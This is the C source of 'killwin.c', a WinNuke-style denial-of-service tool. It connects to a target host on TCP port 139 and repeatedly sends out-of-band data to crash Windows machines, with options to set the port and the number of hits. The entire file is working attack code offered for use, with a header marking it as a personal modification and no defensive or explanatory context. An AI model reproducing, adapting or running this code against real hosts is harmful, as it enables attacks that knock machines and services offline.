/* killwin.c - winnuke idea, modifcation for me ONLY - napster */
 
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int x, y, sockdesc, port = 139, hits = 1;
char *target, *str = "Later.";

void parse_args(int argc, char *argv[]);

void usage(char *progname) {
  printf("Usage: %s <target> [-p port (Default 139)] [-t hits (Default 1)]\n", progname);
  exit(-1);
}

void parse_args(int argc, char *argv[]) {
  target = argv[1];
  if (argv[1][0] == '-') { 
    printf("Must specify a target.\n"); 
    exit(-1); 
  }
  for(y=2;y<argc;y++) {
    if (!strcmp(argv[y], "-p")) { y++; port = atoi(argv[y]); }
    if (!strcmp(argv[y], "-t")) { y++; hits = atoi(argv[y]); }
  }
}

void main(int argc, char *argv[]) {
 
  struct sockaddr_in sin;
  struct hostent *he;
  
  if (argc < 2) usage(argv[0]);
  
  parse_args(argc, argv);

  sin.sin_family  = AF_INET;
  sin.sin_port    = htons(port);
   
  he = gethostbyname(argv[1]);
  
  if (he) {
    memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
  } else {
    perror("Resolving");
  }
  
  sockdesc = socket(AF_INET, SOCK_STREAM, 0);
  
  if (sockdesc < 0) {
    perror("socket");
    exit(-1);
  }
   
  if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    perror("connect");
    close(sockdesc);
    exit(-1);
  }
  
  printf("Connected to [%s:%d].\n", target, port);
  printf("Sending crash %d times...\n", hits);
  
  for (x=0;x<hits;x++) send(sockdesc, str, strlen(str), MSG_OOB);
  sleep(1);
  printf("Done....\n");
  close(sockdesc);
  exit(0);
}

